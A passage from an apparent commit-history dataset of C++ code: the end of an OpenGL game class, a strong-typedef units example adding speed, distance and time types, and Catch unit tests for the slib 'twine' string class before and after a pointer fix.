renderer.mLight = &world[\"light\"].back();\n}\n\nvoid Game::SetupWindow()\n{\n    \/\/ Setup window\n    bool success = mWindow.Create(800, 600, \"TheRoom\", Window::Mode::Windowed);\n    if (!success)\n        throw std::runtime_error(GetLastGlfwError().GetDescription());\n\n    mWindow.SetShowFPS(true);\n    mWindow.SetCloseHandler(mExitHandler);\n\n    \/\/ Setup input event handlers\n    mWindow.SetMouseButtonPressHandler(\n        [this](MouseButton mb, ButtonAction ba)\n        {\n            if (mb == MouseButton::Left && ba == ButtonAction::Press)\n                mWindow.SetMouseGrabEnabled(true);\n        }\n    );\n    mWindow.SetKeyPressedHandler(\n        [this](Key k, KeyAction ka)\n        {\n            \/\/ Exit\n            if(k == Key::Escape && ka == KeyAction::Release)\n                mExitHandler();\n            \/\/ Ungrab mouse\n            if(k == Key::RightControl && ka == KeyAction::Release)\n                mWindow.SetMouseGrabEnabled(false);\n            if(k == Key::R && ka == KeyAction::Release)\n                mRotationData.rotating = !mRotationData.rotating;\n        }\n    );\n}\n\nvoid Game::LoadShaders()\n{\n    \/\/ Retrieve the shaderStore from the renderer\n    auto& shaderStore = renderer.GetShaderStore();\n\n    \/\/ The shader map\n    std::unordered_map<std::string, std::vector<std::pair<ShaderStore::ShaderType,std::string>>> shaders =\n    {\n        {\n            \"geometry_pass\",\n            {\n                { ShaderStore::ShaderType::Vertex,   \"res\/geometry_pass_vert.glsl\" },\n                { ShaderStore::ShaderType::Fragment, \"res\/geometry_pass_frag.glsl\" },\n            }\n        },\n        {\n            \"light_pass\",\n            {\n                { ShaderStore::ShaderType::Vertex,   \"res\/light_pass_vert.glsl\" },\n                { ShaderStore::ShaderType::Fragment, \"res\/light_pass_frag.glsl\" },\n            }\n        }\n    };\n\n    \/\/ Load shaders\n    for (const auto& p : shaders)\n    {\n        \/\/ Will temporarily store the id's of the compiled shaders\n        std::unordered_map<ShaderStore::ShaderType, GLuint> shaderIds;\n        for (const auto& f : p.second)\n        {\n            \/\/ Load file\n            auto shaderFile = FileLoad<BufferType>(f.second);\n            if (!shaderFile)\n                throw std::runtime_error(\"Could not find shader file: \\n\" + f.second);\n            \/\/ Convert it to std::string containter\n            std::string shaderSrc((*shaderFile).begin(), (*shaderFile).end());\n            GLuint sId = shaderStore.LoadShader(shaderSrc, f.first);\n            if (sId == 0)\n                throw std::runtime_error(\"Shader compilation error: \\n\" + shaderStore.GetLastCompileError());\n            \/\/ Insert loaded shader id to temp map\n            shaderIds.insert({f.first, sId});\n        }\n        \/\/ Fetch vert and frag shader id's from temp map and link\n        bool s = shaderStore.LinkProgram(p.first,\n            shaderIds[ShaderStore::ShaderType::Vertex],\n            shaderIds[ShaderStore::ShaderType::Fragment]);\n        if (!s)\n            throw std::runtime_error(\"OpenGL program link error: \\n\" + shaderStore.GetLastLinkError());\n    }\n}\n\nvoid Game::LoadTextures()\n{\n    \/\/ Retrieve the textureStore from the renderer\n    auto& textureStore = renderer.GetTextureStore();\n\n    \/\/ The ImageLoader object\n    ImageLoader imageLoader;\n\n    \/\/ The texture map\n    std::unordered_map<std::string, std::string> textures =\n    {\n        {\"ext\/mahogany_wood.jpg\",            \"mahogany_wood\"},\n        {\"ext\/mahogany_wood_spec.jpg\",       \"mahogany_wood_spec\"},\n        {\"ext\/WoodenCabin\/WoodCabinDif.jpg\", \"house_diff\"},\n        {\"ext\/WoodenCabin\/WoodCabinSM.jpg\",  \"house_spec\"},\n    };\n\n    \/\/ Load the textures\n    for (const auto& p : textures)\n    {\n        RawImage<> pb = imageLoader.LoadFile(p.first);\n        textureStore.Load(p.second, pb);\n    }\n\n    \/\/ Add calculated textures\n    RawImage<> pb({0xFF, 0xFF, 0xFF}, {1, 1, 3});\n    textureStore.Load(\"white\", pb);\n    RawImage<> pb2({0x00, 0x00, 0x00}, {1, 1, 3});\n    textureStore.Load(\"white_spec\", pb2);\n}\n\nvoid Game::LoadModels()\n{\n    \/\/ Retrieve the model and texture stores from the renderer\n    auto& modelStore = renderer.GetModelStore();\n    auto& textureStore = renderer.GetTextureStore();\n\n    \/\/ Model loader instance\n    ModelLoader modelLoader;\n\n    struct ModelData\n    {\n        std::string\n            filepath,\n            extension,\n            name,\n            diffName,\n            specName;\n    };\n\n    std::vector<ModelData> models = {\n        {\"ext\/Cube\/cube.obj\",               \"obj\", \"cube\",   \"mahogany_wood\", \"mahogany_wood_spec\"} \/\/ Cube\n    ,   {\"ext\/teapot.obj\",                  \"obj\", \"teapot\", \"white\",         \"white_spec\"}         \/\/ Teapot\n    ,   {\"ext\/WoodenCabin\/WoodenCabin.dae\", \"dae\", \"house\",  \"house_diff\",    \"house_spec\"}         \/\/ House\n    };\n\n    for(auto& m : models)\n    {\n        auto file = FileLoad<BufferType>(m.filepath);\n        if(!file)\n            throw std::runtime_error(\"Couldn't load file (\" + m.filepath + \")\");\n\n        Model model = modelLoader.Load(*file, m.extension.c_str());\n        if(model.meshes.size() == 0)\n            throw std::runtime_error(\"Couldn't load model (\" + m.filepath + \")\");\n\n        modelStore.Load(m.name, std::move(model));\n        modelStore[m.name]->diffTexId = textureStore[m.diffName]->texId;\n        modelStore[m.name]->specTexId = textureStore[m.specName]->texId;\n    }\n}\n\nstd::vector<Camera::MoveDirection> Game::CameraMoveDirections()\n{\n    std::vector<Camera::MoveDirection> mds;\n    if(mWindow.IsKeyPressed(Key::W))\n        mds.push_back(Camera::MoveDirection::Forward);\n    if(mWindow.IsKeyPressed(Key::A))\n        mds.push_back(Camera::MoveDirection::Left);\n    if(mWindow.IsKeyPressed(Key::S))\n        mds.push_back(Camera::MoveDirection::BackWard);\n    if(mWindow.IsKeyPressed(Key::D))\n        mds.push_back(Camera::MoveDirection::Right);\n    return mds;\n}\n\nstd::tuple<float, float> Game::CameraLookOffset()\n{\n    std::tuple<double, double> curDiff = mWindow.GetCursorDiff();\n    return std::make_tuple(\n        static_cast<float>(std::get<0>(curDiff)),\n        static_cast<float>(std::get<1>(curDiff))\n    );\n}\n\nvoid Game::Update(float dt)\n{\n    (void) dt;\n\n    \/\/ Poll window events\n    mWindow.Update();\n\n    \/\/ Update the interpolation state of the world\n    renderer.Update(dt);\n\n    \/\/ Update camera euler angles\n    if (mWindow.MouseGrabEnabled())\n        mCamera.Look(CameraLookOffset());\n\n    \/\/ Update camera position\n    mCamera.Move(CameraMoveDirections());\n\n    \/\/ Update light position\n    auto& trans = renderer.mLight->transform;\n    float increase = 0.7f;\n    if(mWindow.IsKeyPressed(Key::Kp8))\n        trans.Move(glm::vec3(0.0f, increase, 0.0f));\n    if(mWindow.IsKeyPressed(Key::Kp4))\n        trans.Move(glm::vec3(-increase, 0.0f, 0.0f));\n    if(mWindow.IsKeyPressed(Key::Kp2))\n        trans.Move(glm::vec3(0.0f, -increase, 0.0f));\n    if(mWindow.IsKeyPressed(Key::Kp6))\n        trans.Move(glm::vec3(increase, 0.0f, 0.0f));\n    if(mWindow.IsKeyPressed(Key::Kp5))\n        trans.Move(glm::vec3(0.0f, 0.0f, -increase));\n    if(mWindow.IsKeyPressed(Key::Kp0))\n        trans.Move(glm::vec3(0.0f, 0.0f, increase));\n\n    \/\/ Update cubes' rotations\n    if (mRotationData.rotating)\n    {\n        for (auto& p : renderer.GetWorld())\n            if (p.first == \"normal\")\n                for (auto& gObj : p.second)\n                    gObj.transform.RotateY(mRotationData.degreesInc);\n    }\n}\n\nvoid Game::Render(float interpolation)\n{\n    \/\/ View calculation with camera\n    auto lookOffset = mWindow.MouseGrabEnabled() ? CameraLookOffset() : std::make_tuple(0.0f, 0.0f);\n    auto iCamState = mCamera.Interpolate(CameraMoveDirections(), lookOffset, interpolation);\n\n    \/\/ Create the view matrix and pass it to the renderer\n    glm::mat4 view = glm::lookAt(iCamState.position, iCamState.position + iCamState.front, iCamState.up);\n    renderer.SetView(view);\n\n    \/\/ Render\n    renderer.Render(interpolation);\n\n    \/\/ Show it\n    mWindow.SwapBuffers();\n}\n\nvoid Game::Shutdown()\n{\n    \/\/ Renderer\n    renderer.Shutdown();\n\n    \/\/ Window\n    mWindow.Destroy();\n}\n\nvoid Game::SetExitHandler(std::function<void()> f)\n{\n    mExitHandler = f;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>[Fix] Entities' reorganization must take all of them into account<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n\ntemplate <typename Object_t, typename Underlying_t>\nclass Numerical\n{\npublic:\n\n\ttypedef Numerical<Object_t, Underlying_t> Numerical_t;\n\n\texplicit Numerical(const Underlying_t& value) : m_value(value) {}\n\tNumerical() : m_value() {}\n  Numerical(const Numerical_t& n) : m_value(n.m_value) {}\n  const Numerical& operator = (const Numerical_t& n) { m_value = n.m_value; return *this; }\n  \n\tbool operator != (const Numerical_t& n) { return m_value != n.m_value; }\n  bool operator == (const Numerical_t& n) { return m_value == n.m_value; }\n  bool operator < (const Numerical_t& n) { return m_value < n.m_value; }\n  bool operator > (const Numerical_t& n) { return m_value > n.m_value; }\n  bool operator <= (const Numerical_t& n) { return m_value <= n.m_value; }\n  bool operator >= (const Numerical_t& n) { return m_value >= n.m_value; }\n\n\tNumerical_t& operator ++ () { ++m_value; return *this; }\n\t\n\tNumerical_t operator + ( const Numerical_t& n) const { return Numerical_t(m_value + n.m_value); }\n\tNumerical_t operator - ( const Numerical_t& n) const { return Numerical_t(m_value - n.m_value); }\n\tUnderlying_t operator \/ ( const Numerical_t& n) const { return m_value \/ n.m_value; }\n\n\tUnderlying_t underlying_value() const { return m_value; }\n\nprivate:\n\tUnderlying_t m_value;\n};\n\ntemplate <typename Object_t, typename Underlying_t>\nstd::ostream& operator << ( std::ostream& os, const Numerical<Object_t, Underlying_t>& n)\n{\n\treturn os << n.underlying_value();\n}\n\ntemplate <typename Object_t>\nusing Int_t = Numerical<Object_t,int>;\n\ntemplate <typename Object_t>\nusing Double_t = Numerical<Object_t,double>;\n\ntemplate <typename Object_t>\nusing Index_t = Numerical<Object_t,size_t>;\n\nclass Apples {};\nclass Oranges {};\n\nint main(int argc, char* argv[])\n{            \n\tInt_t<Apples> myAppleCount(5);\n\tInt_t<Apples> yourAppleCount(8);\n\t\n  auto ourAppleCount = myAppleCount + yourAppleCount;\n\tstd::cout << \"My Apples: \" << myAppleCount << \"\\n\";\n\tstd::cout << \"Your Apples: \" << yourAppleCount << \"\\n\";\n\tstd::cout << \"Our Apples: \" << ourAppleCount << \"\\n\";\n\n\tstd::cout << \"\\n\";\n\n\tInt_t<Oranges> myOrangeCount(5);\n\tInt_t<Oranges> yourOrangeCount(8);\n\t\n  auto ourOrangeCount = myOrangeCount + yourOrangeCount;\n\tstd::cout << \"My Oranges: \" << myOrangeCount << \"\\n\";\n\tstd::cout << \"Your Oranges: \" << yourOrangeCount << \"\\n\";\n\tstd::cout << \"Our Oranges: \" << ourOrangeCount << \"\\n\";\n\n\tstd::cout << \"\\n\";\n\t\n  for ( Index_t<Oranges> i(1), ten_oranges(10); i<=ten_oranges; ++i )\n\t{\n\t\tstd::cout << \"Orange counter: \" << i << \"\\n\";\n\t}\n\n\t\/\/ One cannot add apples to oranges\n\t\/\/auto ourFruitCount = ourAppleCount + ourOrangeCount; \n}\n\n<commit_msg>Added speed distance and time<commit_after>#include <iostream>\n\ntemplate <typename Object_t, typename Underlying_t>\nclass Numerical\n{\n\tpublic:\n\n\t\ttypedef Numerical<Object_t, Underlying_t> Numerical_t;\n\n\t\texplicit Numerical(const Underlying_t& value) : m_value(value) {}\n\t\tNumerical() : m_value() {}\n\t\tNumerical(const Numerical_t& n) : m_value(n.m_value) {}\n\t\tconst Numerical& operator = (const Numerical_t& n) { m_value = n.m_value; return *this; }\n\n\t\tbool operator != (const Numerical_t& n) { return m_value != n.m_value; }\n\t\tbool operator == (const Numerical_t& n) { return m_value == n.m_value; }\n\t\tbool operator < (const Numerical_t& n) { return m_value < n.m_value; }\n\t\tbool operator > (const Numerical_t& n) { return m_value > n.m_value; }\n\t\tbool operator <= (const Numerical_t& n) { return m_value <= n.m_value; }\n\t\tbool operator >= (const Numerical_t& n) { return m_value >= n.m_value; }\n\n\t\tNumerical_t& operator ++ () { ++m_value; return *this; }\n\n\t\tNumerical_t operator + ( const Numerical_t& n) const { return Numerical_t(m_value + n.m_value); }\n\t\tNumerical_t operator - ( const Numerical_t& n) const { return Numerical_t(m_value - n.m_value); }\n\t\tUnderlying_t operator \/ ( const Numerical_t& n) const { return m_value \/ n.m_value; }\n\n\t\t\/\/ If you want operator * implementing then add it yourself using inheritance\n\n\t\tUnderlying_t underlying_value() const { return m_value; }\n\n\tprivate:\n\t\tUnderlying_t m_value;\n};\n\ntemplate <typename Object_t, typename Underlying_t>\nstd::ostream& operator << ( std::ostream& os, const Numerical<Object_t, Underlying_t>& n)\n{\n\treturn os << n.underlying_value();\n}\n\ntemplate <typename Object_t>\nusing Int_t = Numerical<Object_t,int>;\n\ntemplate <typename Object_t>\nusing Double_t = Numerical<Object_t,double>;\n\ntemplate <typename Object_t>\nusing Index_t = Numerical<Object_t,size_t>;\n\nclass Apples {};\nclass Oranges {};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass Distance;\nclass Time;\nclass Speed;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass Distance : public Double_t<Distance> \n{\n\tpublic:\n\n\t\texplicit Distance (double v) : Double_t<Distance>(v) {}\n\n\t\tSpeed operator \/ (const Time& t) const;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass Time : public Double_t<Time> \n{\n\tpublic:\n\n\t\texplicit Time (double v) : Double_t<Time>(v) {}\n\n\t\tDistance operator * (const Speed& s) const;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass Speed : public Double_t<Speed> \n{\n\tpublic:\n\t\texplicit Speed (double v) : Double_t<Speed>(v) {}\n\n\t\tDistance operator * (const Time& t) const;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSpeed Distance::operator \/ (const Time& t) const \n{ \n\treturn Speed(underlying_value()\/t.underlying_value());\n}\n\nDistance Time::operator * (const Speed& s) const \n{ \n\treturn Distance(underlying_value()*s.underlying_value());\n}\n\nDistance Speed::operator * (const Time& t) const \n{ \n\treturn Distance(underlying_value()*t.underlying_value());\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint main(int argc, char* argv[])\n{            \n\tInt_t<Apples> myAppleCount(5);\n\tInt_t<Apples> yourAppleCount(8);\n\n\tauto ourAppleCount = myAppleCount + yourAppleCount;\n\tstd::cout << \"My Apples: \" << myAppleCount << \"\\n\";\n\tstd::cout << \"Your Apples: \" << yourAppleCount << \"\\n\";\n\tstd::cout << \"Our Apples: \" << ourAppleCount << \"\\n\";\n\n\tstd::cout << \"\\n\";\n\n\tInt_t<Oranges> myOrangeCount(5);\n\tInt_t<Oranges> yourOrangeCount(8);\n\n\tauto ourOrangeCount = myOrangeCount + yourOrangeCount;\n\tstd::cout << \"My Oranges: \" << myOrangeCount << \"\\n\";\n\tstd::cout << \"Your Oranges: \" << yourOrangeCount << \"\\n\";\n\tstd::cout << \"Our Oranges: \" << ourOrangeCount << \"\\n\";\n\n\tstd::cout << \"\\n\";\n\n\tfor ( Index_t<Oranges> i(1), five_oranges(5); i<=five_oranges; ++i )\n\t{\n\t\tstd::cout << \"Orange counter: \" << i << \"\\n\";\n\t}\n\n\t\/\/ One cannot add apples to oranges\n\t\/\/auto ourFruitCount = ourAppleCount + ourOrangeCount; \n\t\n  Speed s = Distance(10.0) \/ Time(8.0);\n\n\tstd::cout << \"\\n\";\n\t\n\tstd::cout << \"Speed \" << s << \" = Distance \" << Distance(10.0) << \" \/ Time \" << Time(8.0) << \"\\n\"; \n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2001,2002 Steven M. Cherry. All rights reserved.\n *\n * This file is a part of slib - a c++ utility library\n *\n * The slib project, including all files needed to compile \n * it, is free software; you can redistribute it and\/or use it and\/or modify \n * it under the terms of the GNU Lesser General Public License as published by \n * the Free Software Foundation.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * \n * You should have received a copy of the GNU Lesser General Public License \n * along with this program.  See file COPYING for details.\n *\/\n\n\/* ******************************************************* *\/\n\/* Simple program to test the functions in twine.cpp       *\/\n\/* ******************************************************* *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"twine.h\"\nusing namespace SLib;\n\n#include \"catch.hpp\"\n\nconst size_t MAX_INPUT_SIZE = 1024000000;\n\nTEST_CASE( \"Twine - short string\", \"[twine]\" )\n{\n    twine t( \"I am a short string\" );\n\n    REQUIRE_FALSE( t.empty() );\n    REQUIRE( t.size() == 19 );\n    REQUIRE( t.capacity() >= 19 );\n}\n\n\/\/ according to twine.h, a \"Short string\" is <=32 characters, including the final '\\0'\nTEST_CASE( \"Twine - assignment from const char\", \"[twine]\" )\n{\n    SECTION( \"Short string\") {\n        SECTION( \"Direct assignment\" ){\n            twine t = \"I am a short string\";\n            REQUIRE_FALSE( t.empty() );\n            REQUIRE( t.size() == 19 );\n            REQUIRE( t.capacity() >= 19 );\n        }\n\n        SECTION( \"Assignment after construction\" ){\n            twine t; t = \"I am a short string\";\n            REQUIRE_FALSE( t.empty() );\n            REQUIRE( t.size() == 19 );\n            REQUIRE( t.capacity() >= 19 );\n        }\n    }\n\n    SECTION( \"Long string\") {\n        SECTION( \"Direct assignment of a long string\" ){\n            twine t = \"I am a longer string that will not fit in optimized storage.\";\n            REQUIRE_FALSE( t.empty() );\n            REQUIRE( t.size() == 60 );\n            REQUIRE( t.capacity() >= 60 );\n        }\n\n        SECTION( \"Assignment after construction of a long string\" ){\n            twine t; t = \"I am a longer string that will not fit in optimized storage.\";\n            REQUIRE_FALSE( t.empty() );\n            REQUIRE( t.size() == 60 );\n            REQUIRE( t.capacity() >= 60 );\n        }\n    }\n\n    SECTION(\"Extremely long string\") {\n        SECTION(\"MAX_INPUT_SIZE\") {\n            SECTION( \"Direct assignment of a long string\" ){\n                char* monster = (char*)malloc((MAX_INPUT_SIZE + 1) * sizeof(*monster));\n                for(int i = 0; i < MAX_INPUT_SIZE; ++i)\n                {\n                    monster[i] = (i % 94) + 32; \/\/ fill it with printable characters! Why? Who cares!\n                }\n                monster[MAX_INPUT_SIZE] = 0;\n                twine* t = NULL;\n                \/\/ This is a valid size, because the exception is\n                \/\/ thrown when number of non-zero chars in string\n                \/\/ is greater than MAX_INPUT_SIZE\n\n                REQUIRE_NOTHROW([&](){twine t_real = monster; t = &t_real;}());\n                REQUIRE_FALSE(t->empty());\n                REQUIRE(t->size() == MAX_INPUT_SIZE);\n                REQUIRE(t->capacity() >= MAX_INPUT_SIZE);\n                INFO(\"t.capacity() is \" << t->capacity());\n                INFO(\"MAX_INPUT_SIZE is \" << MAX_INPUT_SIZE);\n                \n            }\n\n            SECTION( \"Assignment after construction of a long string\" ){\n                char* monster = (char*)malloc((MAX_INPUT_SIZE + 1) * sizeof(*monster));\n                for(int i = 0; i < MAX_INPUT_SIZE; ++i)\n                {\n                    monster[i] = (i % 94) + 32; \/\/ fill it with printable characters! Why? Who cares!\n                }\n                monster[MAX_INPUT_SIZE] = 0;\n\n                twine t;\n                REQUIRE_NOTHROW(t = monster);\n\n                REQUIRE_FALSE(t.empty());\n                REQUIRE(t.size() == MAX_INPUT_SIZE);\n                REQUIRE(t.capacity() >= MAX_INPUT_SIZE);\n                INFO(\"t.capacity() is \" << t.capacity());\n                INFO(\"MAX_INPUT_SIZE is \" << MAX_INPUT_SIZE);\n            }\n        }\n        \n        SECTION(\"MAX_INPUT_SIZE + 1\") {\n            SECTION( \"Direct assignment of a long string\" ){\n                char* monster = (char*)malloc((MAX_INPUT_SIZE + 2) * sizeof(*monster));\n                for(int i = 0; i <= MAX_INPUT_SIZE; ++i)\n                {\n                    monster[i] = (i % 94) + 32; \/\/ fill it with printable characters! Why? Who cares!\n                }\n                monster[MAX_INPUT_SIZE + 1] = 0;\n                REQUIRE_THROWS([&](){twine t = monster;}());\n            }\n\n            SECTION( \"Assignment after construction of a long string\" ){\n                char* monster = (char*)malloc((MAX_INPUT_SIZE + 2) * sizeof(*monster));\n                for(int i = 0; i <= MAX_INPUT_SIZE; ++i)\n                {\n                    monster[i] = (i % 94) + 32; \/\/ fill it with printable characters! Why? Who cares!\n                }\n                monster[MAX_INPUT_SIZE + 1] = 0;\n\n                twine t;\n                REQUIRE_THROWS(t = monster);\n            }\n        }\n    }\n\n}\n\nTEST_CASE( \"Twine - Copy Constructor\" )\n{\n    SECTION( \"Copy Empty\" ) {\n        SECTION( \"Calling constructor by name\" ){\n            twine orig;\n            twine t = twine(orig);\n            REQUIRE(t.empty());\n            REQUIRE(t.size() == 0);\n            REQUIRE(t.capacity() == TWINE_SMALL_STRING - 1);\n\n            REQUIRE(t.compare(orig) == 0);\n            REQUIRE(&t != &orig);\n        }\n\n        SECTION(\"Implicitly calling constructor\"){\n            twine orig;\n            twine t = orig;\n            REQUIRE(t.empty());\n            REQUIRE(t.size() == 0);\n            REQUIRE(t.capacity() == TWINE_SMALL_STRING - 1);\n\n            REQUIRE(t.compare(orig) == 0);\n            REQUIRE(&t != &orig);\n        }\n\n        SECTION(\"Calling constructor after initial creation\"){\n            twine orig;\n            twine t; t = orig;\n            REQUIRE(t.empty());\n            REQUIRE(t.size() == 0);\n            REQUIRE(t.capacity() == TWINE_SMALL_STRING - 1);\n\n            REQUIRE(t.compare(orig) == 0);\n            REQUIRE(&t != &orig);\n        }\n    } \n\n    SECTION( \"Copy Short Twine\" ) {\n        SECTION( \"Calling constructor by name\" ){\n            twine orig = \"I am a short string\";\n            twine t = twine(orig);\n            REQUIRE_FALSE(t.empty());\n            REQUIRE(t.size() == 19);\n            REQUIRE(t.capacity() == TWINE_SMALL_STRING - 1);\n\n            REQUIRE(t.compare(orig) == 0);\n            REQUIRE(&t != &orig);\n        }\n\n        SECTION(\"Implicitly calling constructor\"){\n            twine orig = \"I am a short string\";\n            twine t = orig;\n            REQUIRE_FALSE(t.empty());\n            REQUIRE(t.size() == 19);\n            REQUIRE(t.capacity() == TWINE_SMALL_STRING - 1);\n\n            REQUIRE(t.compare(orig) == 0);\n            REQUIRE(&t != &orig);\n        }\n\n        SECTION(\"Calling constructor after initial creation\"){\n            twine orig = \"I am a short string\";\n            twine t; t = orig;\n            REQUIRE_FALSE(t.empty());\n            REQUIRE(t.size() == 19);\n            REQUIRE(t.capacity() == TWINE_SMALL_STRING - 1);\n\n            REQUIRE(t.compare(orig) == 0);\n            REQUIRE(&t != &orig);\n        }\n    } \n\n\n}\n<commit_msg>Fixed pointer mistake.<commit_after>\/*\n * Copyright (c) 2001,2002 Steven M. Cherry. All rights reserved.\n *\n * This file is a part of slib - a c++ utility library\n *\n * The slib project, including all files needed to compile \n * it, is free software; you can redistribute it and\/or use it and\/or modify \n * it under the terms of the GNU Lesser General Public License as published by \n * the Free Software Foundation.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * \n * You should have received a copy of the GNU Lesser General Public License \n * along with this program.  See file COPYING for details.\n *\/\n\n\/* ******************************************************* *\/\n\/* Simple program to test the functions in twine.cpp       *\/\n\/* ******************************************************* *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"twine.h\"\nusing namespace SLib;\n\n#include \"catch.hpp\"\n\nconst size_t MAX_INPUT_SIZE = 1024000000;\n\nTEST_CASE( \"Twine - short string\", \"[twine]\" )\n{\n    twine t( \"I am a short string\" );\n\n    REQUIRE_FALSE( t.empty() );\n    REQUIRE( t.size() == 19 );\n    REQUIRE( t.capacity() >= 19 );\n}\n\n\/\/ according to twine.h, a \"Short string\" is <=32 characters, including the final '\\0'\nTEST_CASE( \"Twine - assignment from const char\", \"[twine]\" )\n{\n    SECTION( \"Short string\") {\n        SECTION( \"Direct assignment\" ){\n            twine t = \"I am a short string\";\n            REQUIRE_FALSE( t.empty() );\n            REQUIRE( t.size() == 19 );\n            REQUIRE( t.capacity() >= 19 );\n        }\n\n        SECTION( \"Assignment after construction\" ){\n            twine t; t = \"I am a short string\";\n            REQUIRE_FALSE( t.empty() );\n            REQUIRE( t.size() == 19 );\n            REQUIRE( t.capacity() >= 19 );\n        }\n    }\n\n    SECTION( \"Long string\") {\n        SECTION( \"Direct assignment of a long string\" ){\n            twine t = \"I am a longer string that will not fit in optimized storage.\";\n            REQUIRE_FALSE( t.empty() );\n            REQUIRE( t.size() == 60 );\n            REQUIRE( t.capacity() >= 60 );\n        }\n\n        SECTION( \"Assignment after construction of a long string\" ){\n            twine t; t = \"I am a longer string that will not fit in optimized storage.\";\n            REQUIRE_FALSE( t.empty() );\n            REQUIRE( t.size() == 60 );\n            REQUIRE( t.capacity() >= 60 );\n        }\n    }\n\n    SECTION(\"Extremely long string\") {\n        SECTION(\"MAX_INPUT_SIZE\") {\n\n            \/\/ This is a valid size, because the exception is\n            \/\/ thrown when number of non-zero chars in string\n            \/\/ is greater than MAX_INPUT_SIZE\n            char* monster = (char*)malloc((MAX_INPUT_SIZE + 1) * sizeof(*monster));\n            for(int i = 0; i < MAX_INPUT_SIZE; ++i)\n            {\n                monster[i] = (i % 94) + 32; \/\/ fill it with printable characters! Why? Who cares!\n            }\n            monster[MAX_INPUT_SIZE] = 0;\n\n            SECTION( \"Direct assignment of a long string\" ){\n                twine* t = NULL;\n\n                REQUIRE_NOTHROW([&](){t = new twine(monster);}());\n                REQUIRE_FALSE(t->empty());\n                REQUIRE(t->size() == MAX_INPUT_SIZE);\n                REQUIRE(t->capacity() >= MAX_INPUT_SIZE);\n                INFO(\"t.capacity() is \" << t->capacity());\n                INFO(\"MAX_INPUT_SIZE is \" << MAX_INPUT_SIZE);\n                \n                if(t != NULL)\n                    delete t;\n            }\n\n            SECTION( \"Assignment after construction of a long string\" ){\n                twine t;\n                REQUIRE_NOTHROW(t = monster);\n\n                REQUIRE_FALSE(t.empty());\n                REQUIRE(t.size() == MAX_INPUT_SIZE);\n                REQUIRE(t.capacity() >= MAX_INPUT_SIZE);\n                INFO(\"t.capacity() is \" << t.capacity());\n                INFO(\"MAX_INPUT_SIZE is \" << MAX_INPUT_SIZE);\n            }\n        }\n        \n        SECTION(\"MAX_INPUT_SIZE + 1\") {\n            \/\/ This is an invalid size, because the nonzero portion of the string is of length greater\n            \/\/ than MAX_INPUT_SIZE\n            char* monster = (char*)malloc((MAX_INPUT_SIZE + 2) * sizeof(*monster));\n            for(int i = 0; i <= MAX_INPUT_SIZE; ++i)\n            {\n                monster[i] = (i % 94) + 32; \/\/ fill it with printable characters! Why? Who cares!\n            }\n            monster[MAX_INPUT_SIZE + 1] = 0;\n\n            SECTION( \"Direct assignment of a long string\" ){\n                REQUIRE_THROWS([&](){twine t = monster;}());\n            }\n\n            SECTION( \"Assignment after construction of a long string\" ){\n                twine t;\n                REQUIRE_THROWS(t = monster);\n            }\n        }\n    }\n\n}\n\nTEST_CASE( \"Twine - Copy Constructor\" )\n{\n    SECTION( \"Copy Empty\" ) {\n        SECTION( \"Calling constructor by name\" ){\n            twine orig;\n            twine t = twine(orig);\n            REQUIRE(t.empty());\n            REQUIRE(t.size() == 0);\n            REQUIRE(t.capacity() == TWINE_SMALL_STRING - 1);\n\n            REQUIRE(t.compare(orig) == 0);\n            REQUIRE(&t != &orig);\n        }\n\n        SECTION(\"Implicitly calling constructor\"){\n            twine orig;\n            twine t = orig;\n            REQUIRE(t.empty());\n            REQUIRE(t.size() == 0);\n            REQUIRE(t.capacity() == TWINE_SMALL_STRING - 1);\n\n            REQUIRE(t.compare(orig) == 0);\n            REQUIRE(&t != &orig);\n        }\n\n        SECTION(\"Calling constructor after initial creation\"){\n            twine orig;\n            twine t; t = orig;\n            REQUIRE(t.empty());\n            REQUIRE(t.size() == 0);\n            REQUIRE(t.capacity() == TWINE_SMALL_STRING - 1);\n\n            REQUIRE(t.compare(orig) == 0);\n            REQUIRE(&t != &orig);\n        }\n    } \n\n    SECTION( \"Copy Short Twine\" ) {\n        SECTION( \"Calling constructor by name\" ){\n            twine orig = \"I am a short string\";\n            twine t = twine(orig);\n            REQUIRE_FALSE(t.empty());\n            REQUIRE(t.size() == 19);\n            REQUIRE(t.capacity() == TWINE_SMALL_STRING - 1);\n\n            REQUIRE(t.compare(orig) == 0);\n            REQUIRE(&t != &orig);\n        }\n\n        SECTION(\"Implicitly calling constructor\"){\n            twine orig = \"I am a short string\";\n            twine t = orig;\n            REQUIRE_FALSE(t.empty());\n            REQUIRE(t.size() == 19);\n            REQUIRE(t.capacity() == TWINE_SMALL_STRING - 1);\n\n            REQUIRE(t.compare(orig) == 0);\n            REQUIRE(&t != &orig);\n        }\n\n        